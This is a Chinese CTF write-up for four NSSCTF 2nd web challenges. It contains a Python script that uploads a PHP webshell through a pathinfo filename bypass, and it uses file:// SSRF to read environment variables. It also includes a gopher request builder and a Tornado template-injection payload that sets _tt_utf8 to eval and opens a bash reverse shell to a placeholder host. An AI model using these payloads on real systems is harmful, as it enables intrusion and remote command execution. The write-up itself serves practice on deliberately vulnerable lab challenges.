[NSSCTF 2nd] web复现

1.php签到

php 复制代码
 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测

上传一个1.php/.,在file_put_contents函数中,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马

由于没有上传点,用py上传

python 复制代码
import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)

/要用url编码

在环境变量里面找到flag

2.Mybox

直接url=file:///proc/1/environ拿到flag

3.MyBox(revenge)

下载源码

url=file:///app/app.py

python 复制代码
from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__) 
@app.route('/') 
def index(): 
    if not request.args.get('url'): 
        return redirect('/?url=dosth') 
    url = request.args.get('url') 
    if url.startswith('file://'): 
        with open(url[7: ], 'r') as f: 
            return f.read() 
    elif url.startswith('http://localhost/'): 
        return requests.get(url).text 
    elif url.startswith('mybox://127.0.0.1:'): 
        port, content = url[18: ].split('/_', maxsplit = 1) 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.settimeout(5) s.connect(('127.0.0.1', int(port))) 
        s.send(parse.unquote(content).encode()) 
        res = b ''
while 1: 
    data = s.recv(1024) 
    if data: 
        res += data
    else: 
        break 
    return res
return ''
app.run('0.0.0.0', 827)

如果以file://开头,则返回后面的文件内容

如果以http://localhost/开头,则发送一个get请求,获取url内容

如果以mybox://127.0.0.1:开头,后面的内容/_左边为端口,右边为内容,建立一个socket连接发送解码后的内容,这个mybox其实就是魔改的gophar

用脚本生成一个gophar请求

python 复制代码
import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

因为是get请求,二次url编码,可能环境有问题,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞 CVE-2021-41773反弹shell拿到flag

4.MyHurricane

打开是乱的py源码

整理一下

python 复制代码
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    # Web Application Firewall (WAF) function to filter out certain patterns
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False

    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False

    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        # Handle GET requests, read and display the content of the current file
        with open(__file__, 'r') as f:
            self.finish(f.read())

    def post(self):
        # Handle POST requests, perform WAF check, and write to HTML file if valid
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html><body>{data}</body></html>""")
            f.flush()
            self.render('1.html')  # Render the created HTML file
        else:
            self.finish('no no no')  # Reject request if WAF check fails

if __name__ == "__main__":
    # Initialize Tornado web application
    app = tornado.web.Application([
        (r"/", IndexHandler),
    ], compiled_template_cache=

是一个Tornado框架

WAF过滤一些ssti用到的符号

参数是ssti,post提交,由于过滤了{{ 和}},可以使用{% %}

搜索相关bypass发现include不需要括号可以包含文件

包含/proc/1/environ得到flag

但这是非预期解

预期解:

利用_tt_utf8进行变量覆盖绕过

tornado在渲染时会执行_tt_utf8(_tt_tmp),将_tt_utf8变量定义为eval,_tt_tmp从post传参,那么就能执行命令,这里抄用其他师傅的payload

{% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&shell=import('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

在环境变量里面找到flag

相关推荐
月巴月巴白勺合鸟月半5 小时前
一个C#开发的APP
c#·web
坐望云起1 天前
什么是WebAssembly?怎么使用?
html·web·wasm·js
青年有志2 天前
JavaWeb(一) | 基本概念(web服务器、Tomcat、HTTP、Maven)、Servlet 简介
java·web
Z3r4y2 天前
【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
web·ctf·wp·国城杯·国城杯决赛
WTT00112 天前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
摸鱼也很难2 天前
RCE 命令执行漏洞 && 过滤模式 && 基本的过滤问题 && 联合ctf题目进行实践
漏洞·ctf·ctfshow·rce命令执行
sg_knight2 天前
VSCode如何修改默认扩展路径和用户文件夹目录到D盘
前端·ide·vscode·编辑器·web
亿.62 天前
2024楚慧杯-Web
web·ctf·writeup
王ASC3 天前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
非凡的世界5 天前
5个用于构建Web应用程序的Go Web框架
golang·go·框架·web